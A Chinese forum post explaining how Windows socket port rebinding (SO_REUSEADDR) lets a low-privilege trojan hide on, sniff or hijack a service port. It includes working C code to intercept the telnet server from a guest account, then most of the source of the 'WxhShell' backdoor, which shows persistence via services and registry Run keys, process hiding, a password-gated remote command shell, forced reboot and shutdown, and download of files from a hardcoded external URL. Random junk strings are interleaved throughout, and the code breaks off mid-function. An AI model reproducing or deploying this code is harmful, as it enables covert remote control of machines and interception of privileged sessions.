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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y5$VWUrB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [pYjH+<  
 NncII5z  
  saddr.sin_family = AF_INET; t6a$ZN;  
&& E)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +tvWp>T+  
O t1:z:Pl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zTS#o#`!\  
fT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &VfMv'%x  
/dq(Z"O_  
  这意味着什么?意味着可以进行如下的攻击: b 3i34,  
=%oQIx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rhA>;9\  
I18<brZJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fVx_]5jM  
])iw|`@dJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;;lOu~-*$p  
l F*x\AT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D!nx%%q  
JWo).  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \2NT7^H#  
N(= \S:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 19 <Lgr  
+N:=|u.g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eL{6;.C  
5;Q9Z1 `  
  #include ;P!x/Ct  
  #include r>3y87  
  #include ]gG&X3jaKq  
  #include    J!@`tR-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :zLeS-  
  int main() W:*  {7qJ  
  { 66%4p%#b4  
  WORD wVersionRequested; \1mTKw)S  
  DWORD ret; r0/o{Y|l6  
  WSADATA wsaData;  - j_  
  BOOL val; ]q CCCI`  
  SOCKADDR_IN saddr; ^F4h:  
  SOCKADDR_IN scaddr; bA8RoC  
  int err; JPGEE1!B{b  
  SOCKET s; 1_0\_|  
  SOCKET sc; kH}HFl  
  int caddsize; \:|"qk  
  HANDLE mt; N@G~+GCxL  
  DWORD tid;   (7J (.EG2e  
  wVersionRequested = MAKEWORD( 2, 2 ); G*\U'w4w|*  
  err = WSAStartup( wVersionRequested, &wsaData ); /j:fc?yv  
  if ( err != 0 ) { wC~LZSTt  
  printf("error!WSAStartup failed!\n"); $KMxq=  
  return -1; 6h3TU,$r  
  } fs;pX/:FR  
  saddr.sin_family = AF_INET; 4NxI:d$&*  
   ePxwN?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .}x:yKyi@  
P2>Y0"bY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \YrvH  
  saddr.sin_port = htons(23); 3~6,fTMz{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N,~"8YSo  
  { %"g; K  
  printf("error!socket failed!\n"); j#[%-nOT  
  return -1; z((9vi W  
  } )h,-zAnZ  
  val = TRUE; j^qI~|#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ".:]? Lvt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .Mu]uQUF  
  { F=l.2t*9  
  printf("error!setsockopt failed!\n"); Xl\yOMfp  
  return -1; G0&'B6I>  
  } Zq\Vq:MX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q3|I.I e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lJ/{.uK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h(MS>=  
MR-cOPn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @1^:V-=  
  { E!zAUEVQm[  
  ret=GetLastError(); T,SCK^  
  printf("error!bind failed!\n"); PuoN<9 #  
  return -1; ZKco  
  } _ pKWDMB$z  
  listen(s,2); m. DC  
  while(1) JDj^7\`  
  { )!jX$bK  
  caddsize = sizeof(scaddr); &p6^    
  //接受连接请求 +U= !svE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RuuXDuu:VL  
  if(sc!=INVALID_SOCKET) Zg~6  
  { #;~dA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &RbT&  
  if(mt==NULL) 'Bb@K[=s  
  { /woC{J)4p  
  printf("Thread Creat Failed!\n"); 2#g4R  
  break; d0CFMy6  
  } }&:F,q*  
  } n9N '}z  
  CloseHandle(mt); Y:'#jY*V  
  } JBxizJBP  
  closesocket(s); SE<hZLd"  
  WSACleanup(); 8j<+ ' R  
  return 0; 9o|#R&0  
  }   QQIU5  
  DWORD WINAPI ClientThread(LPVOID lpParam) :dkBr@u96O  
  { k>mqKzT0$+  
  SOCKET ss = (SOCKET)lpParam; CKgbb4;<m[  
  SOCKET sc; -|x YT+?%  
  unsigned char buf[4096]; OJ2I (8P  
  SOCKADDR_IN saddr; bJ6@ B<  
  long num; bhg OLh#  
  DWORD val; Xsit4Ma  
  DWORD ret; 4[^lE?+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c0M>CaKD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J0a#QvX!  
  saddr.sin_family = AF_INET; "Ir.1FN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mh;rhQ  
  saddr.sin_port = htons(23); g1zX^^nd,V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "}'Sk(  
  { Q]NGd 0J  
  printf("error!socket failed!\n"); ^tY$pPA  
  return -1; 96.Vm*/7  
  } 5*31nMP\  
  val = 100; D|rcSa.M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <"rckPv_H  
  { &6}] v:  
  ret = GetLastError(); z~+gche>  
  return -1; .7Lv  
  } X*Dt<i};v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J~URv)g  
  { KQ\d$fX  
  ret = GetLastError(); TDnbX_xC<  
  return -1; P2^((c  
  } .ugQH<B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Yt% E,U~g  
  { ZUxlk+o9d  
  printf("error!socket connect failed!\n"); !ii'hwFm$  
  closesocket(sc); oHI/tS4 _  
  closesocket(ss); ]p sx\ZMa  
  return -1; e:H9!  
  } SuU %x2  
  while(1) b$Ch2Qz0q  
  { 6a\YD{D] _  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dx It.h   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \r+8}8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B{+ Ra  
  num = recv(ss,buf,4096,0); 70&]nb6f  
  if(num>0) ]\_T  
  send(sc,buf,num,0); K9+C3"*I  
  else if(num==0) , BCo/j  
  break; +m8gS;'R4  
  num = recv(sc,buf,4096,0); N>J"^GX  
  if(num>0) ~0~f  
  send(ss,buf,num,0); OK"B`*  
  else if(num==0) P Zc{wbjp&  
  break; \d)~.2$G*  
  } 1S26Y|L)  
  closesocket(ss); SWGD(]}uz  
  closesocket(sc); %: .{?FB_  
  return 0 ; Oor&1  
  } =z$XqT.'  
Qy+&N*k>  
zz+p6`   
========================================================== ;Pi-H,1b  
Sn lKPd  
下边附上一个代码,,WXhSHELL &R "Q  
A+Xk=k5<  
========================================================== #=hI}%n  
@]0;aZ{3  
#include "stdafx.h" B "z`X!\  
C'c9AoE5>  
#include <stdio.h> p#V h[UTl^  
#include <string.h> mtON dI  
#include <windows.h> )KLsa`RV:  
#include <winsock2.h> %4Thb\T  
#include <winsvc.h> bqt*d)$  
#include <urlmon.h> tsA+B&R_]  
& M wvj  
#pragma comment (lib, "Ws2_32.lib") :z!N_]t  
#pragma comment (lib, "urlmon.lib") 4,|A\dXE  
Evn=3Tw  
#define MAX_USER   100 // 最大客户端连接数 :uD*Q/  
#define BUF_SOCK   200 // sock buffer #*<*|AwoW|  
#define KEY_BUFF   255 // 输入 buffer AGN5=K*D  
d:"]*EZ [  
#define REBOOT     0   // 重启 $`emP Hel  
#define SHUTDOWN   1   // 关机 <+QXGz1  
T&]J3TFJ  
#define DEF_PORT   5000 // 监听端口 i: ZL0nH-  
xD(JkOne  
#define REG_LEN     16   // 注册表键长度 !)(c_ uz  
#define SVC_LEN     80   // NT服务名长度 vNhi5EU  
<?UIux  
// 从dll定义API KnC;j-j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /@<Pn&Rq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z3  lZ3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L]goHs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qw ukhD7  
&O'6va  
// wxhshell配置信息 gqje]Zc<  
struct WSCFG { lKMOsr@l  
  int ws_port;         // 监听端口 ;: a>#{N  
  char ws_passstr[REG_LEN]; // 口令 @k!J}O K  
  int ws_autoins;       // 安装标记, 1=yes 0=no oT4A|M  
  char ws_regname[REG_LEN]; // 注册表键名 fq.ui3lP)  
  char ws_svcname[REG_LEN]; // 服务名 4X@ <PX5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0z2A!ap  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <J`",h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3+_ .I{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cGhnI&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /- qS YS(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `N_elf://n  
)5}=^aqd  
}; t} zffe-  
+h}>UK\  
// default Wxhshell configuration w~NQAHAvo  
struct WSCFG wscfg={DEF_PORT, kgX"LQh;[G  
    "xuhuanlingzhe", w(QU'4~  
    1, (RR:{4I  
    "Wxhshell", Awo H d7M  
    "Wxhshell", (6R^/*-o  
            "WxhShell Service", @hlT7C)xK  
    "Wrsky Windows CmdShell Service", UN <s1  
    "Please Input Your Password: ", =rA"|=  
  1, G6C#M-S  
  "http://www.wrsky.com/wxhshell.exe", E|t. 3  
  "Wxhshell.exe" ze<Lc/;X~  
    }; K85;7R5  
ccc*"_45#  
// 消息定义模块 (5s$vcK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ieN}Ajl2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8IYn9<L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -kh O4,  
char *msg_ws_ext="\n\rExit."; v+ NdO$o  
char *msg_ws_end="\n\rQuit."; T[}A7a6g_  
char *msg_ws_boot="\n\rReboot..."; X|}yp|  
char *msg_ws_poff="\n\rShutdown..."; ]xlV;m  
char *msg_ws_down="\n\rSave to "; 4!pMZ<$3  
}Km+5'G'U  
char *msg_ws_err="\n\rErr!"; cnQ;6LtFTz  
char *msg_ws_ok="\n\rOK!"; c/Fy1Lv\  
l,n0=Ew  
char ExeFile[MAX_PATH]; g-0?8q5T6  
int nUser = 0; ]d$:R`;  
HANDLE handles[MAX_USER]; U ~j:b{  
int OsIsNt; 4+ BWHV  
R36BvW0X  
SERVICE_STATUS       serviceStatus; :}\w2W E[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >hkmL](^  
`ZCeuOH  
// 函数声明 ^ lrq`1k  
int Install(void); (!72Eaw:]  
int Uninstall(void); .E'Tfa  
int DownloadFile(char *sURL, SOCKET wsh); WoVPp*zlX  
int Boot(int flag); M ABrf`<b  
void HideProc(void); eI8rnp( Ia  
int GetOsVer(void); DQ '=$z  
int Wxhshell(SOCKET wsl); '- >%b  
void TalkWithClient(void *cs); _g|zDi^  
int CmdShell(SOCKET sock); WaY_{)x  
int StartFromService(void); yrp5\k*{y  
int StartWxhshell(LPSTR lpCmdLine); DJxe3<  
D# ZzhHHP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;GW[Yw>Rz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i6L>,^Dg  
`nAR/Ye  
// 数据结构和表定义 ;JM%O8  
SERVICE_TABLE_ENTRY DispatchTable[] = q\2q3}n  
{ dW K; h  
{wscfg.ws_svcname, NTServiceMain}, J#h2~Hz!  
{NULL, NULL} = GN1l[X  
}; 3/rEXKS  
0p"l}Fu@`  
// 自我安装 < Y5pAStg  
int Install(void) ^}JGWGib=+  
{ "gD]K=  
  char svExeFile[MAX_PATH]; E8_j?X1  
  HKEY key; kD&% 7Vz  
  strcpy(svExeFile,ExeFile); MKqMH,O  
T5* t~`bfU  
// 如果是win9x系统,修改注册表设为自启动 !S0$W?*  
if(!OsIsNt) { K4 \{G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rI/;L<c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~#z8Q{!O  
  RegCloseKey(key); ;VhilWaF-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |mx)W}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 7/"5i9  
  RegCloseKey(key); >?-etl  
  return 0; x$:>W3?T=^  
    } C`qo  
  } #&fi[|%X$  
} uw!w}1Y]}2  
else { J7Z`wjX1  
L5(7;  
// 如果是NT以上系统,安装为系统服务 RO>3U2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uY{zZ4iw  
if (schSCManager!=0) }BTK+Tk8  
{ 0;Lt  
  SC_HANDLE schService = CreateService ,8=`Y9#  
  ( /WvF}y  
  schSCManager, m=g\@&N  
  wscfg.ws_svcname, 5<Ly^Na:  
  wscfg.ws_svcdisp, W 9i}w&  
  SERVICE_ALL_ACCESS, %2H0JXKa,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?8ZOiY(  
  SERVICE_AUTO_START, D8Ntzsr6  
  SERVICE_ERROR_NORMAL, R,]J~TfPK  
  svExeFile, K fM6(f:  
  NULL, OZDd  
  NULL, R^v-%mG9  
  NULL, uu5AW=j  
  NULL, MR=dQc  
  NULL EESGU(  
  ); +<l6!r2Z  
  if (schService!=0) d@sAB1:  
  { ]2:w?+T  
  CloseServiceHandle(schService); UweXz.x7  
  CloseServiceHandle(schSCManager); QCm93YZs6E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^("23mhfJ  
  strcat(svExeFile,wscfg.ws_svcname); 7T\LYDT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gu~JB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rM?O2n  
  RegCloseKey(key); :6}Zo  
  return 0; Q9Tt3h2ga  
    } = aO1uC|6C  
  } kn$2_I9  
  CloseServiceHandle(schSCManager); x9QUo*MT  
} y\a@'LFL  
} t@#+vs@  
5 )A(q\  
return 1; XZh1/b^DMN  
} w^{qut.  
h>w(Th\H  
// 自我卸载 )JNUfauyT  
int Uninstall(void) bcM65pt_C  
{ ,.<[iHC}9  
  HKEY key; B=?m_4\$m  
=nVEdRU  
if(!OsIsNt) { N7Kg52|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Dat oi  
  RegDeleteValue(key,wscfg.ws_regname); !^[i"F:G  
  RegCloseKey(key); AVn?86ri  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Ph T:  
  RegDeleteValue(key,wscfg.ws_regname); teQ <v[W.  
  RegCloseKey(key); 1 N{unS  
  return 0; %`]&c)&#Z  
  } G+_Q7-o&d6  
} pB;U*lt  
}  1{fu  
else { [Re.sX}$Y  
_nUvDdEs,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [Sj _=  
if (schSCManager!=0) =c-Y >  
{ /v<FH}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0uZL*4A+C  
  if (schService!=0) 8I>'x f  
  { ??]b,f4CNa  
  if(DeleteService(schService)!=0) { %%-?~rjI  
  CloseServiceHandle(schService); qsA`\%]H  
  CloseServiceHandle(schSCManager); u5'jIqlU  
  return 0; @K=:f  
  } 8|cQW-L  
  CloseServiceHandle(schService); [-5l=j r  
  }  ~ERA  
  CloseServiceHandle(schSCManager); Ii.0Bul  
} OMY^'g%w  
}  T)Uhp  
,(;TV_@$  
return 1; 8wf[*6VwV  
} kndN} Vq  
>D\jyd$wh&  
// 从指定url下载文件 o8RVmOXe  
int DownloadFile(char *sURL, SOCKET wsh) 7hzd.  
{ c,yjsxETW  
  HRESULT hr; J4) ?hS  
char seps[]= "/"; C j4ED  
char *token; :aO`q/d  
char *file; a_T3<  
char myURL[MAX_PATH]; J< vVsz+7:  
char myFILE[MAX_PATH]; 'kBq@>  
dzbFUDJ  
strcpy(myURL,sURL); af>^<q  
  token=strtok(myURL,seps); O0Pb"ou_h.  
  while(token!=NULL) 2ophh/]  
  { n40&4n  
    file=token; WSsX*L  
  token=strtok(NULL,seps); ev4f9Fhu  
  } W2w A66MB  
NMvNw?]  
GetCurrentDirectory(MAX_PATH,myFILE); w(N$$  
strcat(myFILE, "\\"); -V F*h.'  
strcat(myFILE, file); N51e.;  
  send(wsh,myFILE,strlen(myFILE),0); PAy/"R9DT-  
send(wsh,"...",3,0); Dk^T_7{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2:jWO_V@  
  if(hr==S_OK) 6JB* brO  
return 0; E4cPCQyeH  
else lzbAx  
return 1; mHB0eB'l  
7L4~yazmK  
} F&_b[xso7  
jU}iQM  
// 系统电源模块 L!LhH  
int Boot(int flag) K} ) w  
{ haSC[[o=  
  HANDLE hToken; ]Vm:iF#5P  
  TOKEN_PRIVILEGES tkp; \%czNF  
#zed8I:w  
  if(OsIsNt) { T1U8ZEK<iu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |44 E:pA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &Cm$%3  
    tkp.PrivilegeCount = 1; `gX$N1(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2{9%E6%#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2]V&]s8Wi=  
if(flag==REBOOT) { DyCnL@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ec&K}+p@  
  return 0; l Zz%W8"  
} 0..]c-V(G  
else { 3Hi[Y[O`%P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oIv\Xdc81  
  return 0; (7A-cC  
} d",VOhW7)S  
  } DEQ7u`6  
  else { *%n(t+'q  
if(flag==REBOOT) { /4YxB,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H{,qw%.|KA  
  return 0; J,D^fVIw  
} QIC? `hk1  
else { fA"9eUu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^u+#x2$Mg  
  return 0; pC/13|I  
} 'pHxO,vo  
} y4N2gBTKu  
il[waUfmD  
return 1; `6\u!#  
} `&jG8lHa  
U.pGp]\Q)G  
// win9x进程隐藏模块 q+U&lw|"w  
void HideProc(void) +GL[uxe "  
{ #:xv]qb`k  
Zo#c[9IaC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |.?X ov]  
  if ( hKernel != NULL ) ftaa~h*  
  { )?<V-,D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FyWrb+_0v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9P&{Xhs7  
    FreeLibrary(hKernel); c+ukVn`r  
  } Y(;u)uN_  
^ pNA_s!S  
return; Ov@vNj&  
} j_0xE;g"]  
yqKSaPRA  
// 获取操作系统版本 FnCMr_  
int GetOsVer(void) \ch4c9  
{ [{.9#cQ "  
  OSVERSIONINFO winfo; f>[{1M]n\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qkA8q@Y4|  
  GetVersionEx(&winfo); Gx;-1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^[.Z~>3!\q  
  return 1; =\IUBH+C  
  else ]VoJ7LoCZ'  
  return 0; "J{A}g[  
} [8'^"  
p?O6|q  
// 客户端句柄模块 hg-M>|s7  
int Wxhshell(SOCKET wsl) 'xu! t'l&  
{ ke2}@|?t  
  SOCKET wsh; qoSZ+ khS$  
  struct sockaddr_in client; FVWHiwRU,  
  DWORD myID; d 0 mfqP=  
IweNe`Z  
  while(nUser<MAX_USER) I.- I4F)D  
{ S{nBQB<  
  int nSize=sizeof(client); Qov*xRO6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4k)0OQeW6  
  if(wsh==INVALID_SOCKET) return 1; :KI0j%>2y  
h$#|s/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (s,u9vj=>L  
if(handles[nUser]==0) $msf~M*  
  closesocket(wsh); AWDy_11Nm  
else GI%9Tif  
  nUser++; 7X8n|NZRH7  
  }  QB#_Wn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +wcif-  
FKy2C:R(]  
  return 0; Vo%DoZg  
} 2Yg\<Ps N  
Uy<n7*H  
// 关闭 socket 0RHjA& r3v  
void CloseIt(SOCKET wsh) >AW&Lfw$  
{ Q6r7UM  
closesocket(wsh); >/'/^h  
nUser--; ]3d5kf  
ExitThread(0); iCy$ rC  
} gp-rTdN  
}1|FES  
// 客户端请求句柄 87rHW@\](  
void TalkWithClient(void *cs) |XJ|vQGU  
{ 2XrYm"6w  
{2LG$x-N%  
  SOCKET wsh=(SOCKET)cs; p:xVi0  
  char pwd[SVC_LEN]; w|:ev_c|  
  char cmd[KEY_BUFF]; #kp +e)F  
char chr[1]; o`.5NUn  
int i,j; Go !{T  
`!C5"i8+i2  
  while (nUser < MAX_USER) { PoZxT-U  
FSb4RuD9  
if(wscfg.ws_passstr) { 6SEq 2   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UB]]oC<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vvP]tRZ  
  //ZeroMemory(pwd,KEY_BUFF); Bkdt[qDn5P  
      i=0; -H$C3V3]  
  while(i<SVC_LEN) { O+=C8  
gp4@6HuUd  
  // 设置超时 5UvqE_  
  fd_set FdRead; Y{<SD-ibZ$  
  struct timeval TimeOut; 6*s:I&  
  FD_ZERO(&FdRead); CK8!7=>}^  
  FD_SET(wsh,&FdRead); Hd{@e6S  
  TimeOut.tv_sec=8; *z__$!LR  
  TimeOut.tv_usec=0; O5ZR{f&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  q{pa _  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q+dLWFI  
AdWP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Is>~P*2Y=  
  pwd=chr[0]; mA4]c   
  if(chr[0]==0xd || chr[0]==0xa) { Q1P=A:*]9  
  pwd=0; l8+;)2p!  
  break; ft?c&h;At  
  } V"8w:?  
  i++; #,;Q|)AD:e  
    } ]%+T+ zg(Y  
beFD}`  
  // 如果是非法用户,关闭 socket G=&nwSL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b5W(}ka+  
} sfs2kiH  
^=y%s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y``]66\Fp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T]2=  
0xc|Wn>  
while(1) { T=VBKaSbU  
[#;CBs5o  
  ZeroMemory(cmd,KEY_BUFF); {`V ^V_  
'1b4nj|<m  
      // 自动支持客户端 telnet标准   okH*2F(-  
  j=0; VJgYXPE `  
  while(j<KEY_BUFF) { ?D=C8EX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ITfz/d8  
  cmd[j]=chr[0]; Xn%O .yM6  
  if(chr[0]==0xa || chr[0]==0xd) { "X\6tl7a|  
  cmd[j]=0; H4uHCkj  
  break; fy={  
  } 1B~[L 5p9  
  j++; 5?|yYQM0tK  
    } hx8.  
!CR#Fyt+9  
  // 下载文件 d*l2x[8}g-  
  if(strstr(cmd,"http://")) { , nW)A/?}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R+ tQvxp#  
  if(DownloadFile(cmd,wsh)) Rln% Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eDsc_5I  
  else 0+Q; a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FMz>p1s|dK  
  } 'EG/)0t`  
  else { #1Ie v7w  
cN~F32<  
    switch(cmd[0]) { fzzk#jU  
  HH|N~pBJB  
  // 帮助 5?8jj  
  case '?': { o`{^ptu1q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); apWv+A  
    break; NB3ar&.$S  
  } W('V2Z-q  
  // 安装 #^xj"}o@  
  case 'i': { ~$m:j];  
    if(Install()) l{hO"fzy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ISg-?h/  
    else 'L C0hoV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +$#ytvDy  
    break; "-g5$v$de  
    } ?7TuE!!M  
  // 卸载 bkiMF$K,K  
  case 'r': { !YX_k<1E  
    if(Uninstall()) 9}' 92  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :*eJ*(M  
    else ]BfJ~+ N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b 4A1M  
    break; xPzBbe  
    }   9EWw  
  // 显示 wxhshell 所在路径 @P<aTRy,f  
  case 'p': { .GIygU_  
    char svExeFile[MAX_PATH]; co{i~['u  
    strcpy(svExeFile,"\n\r"); op61-:q/  
      strcat(svExeFile,ExeFile); {}"a_L&[;  
        send(wsh,svExeFile,strlen(svExeFile),0); hQaa"U7[  
    break; /g$8JL  
    } ;nKhmcQ4  
  // 重启 eHU b4,%P  
  case 'b': { dUkZ_<5''  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  J9lG0  
    if(Boot(REBOOT)) VM w[M^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fwv.^k x  
    else { #Ht;5p>5  
    closesocket(wsh); ko6[Ej:TBo  
    ExitThread(0); {~ 1 ~V  
    } 5W(`lgVs,  
    break; jfpbD /  
    } =1zRm >m  
  // 关机 |l:,EA_v|  
  case 'd': { fHXz{,?/w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U _~r0  
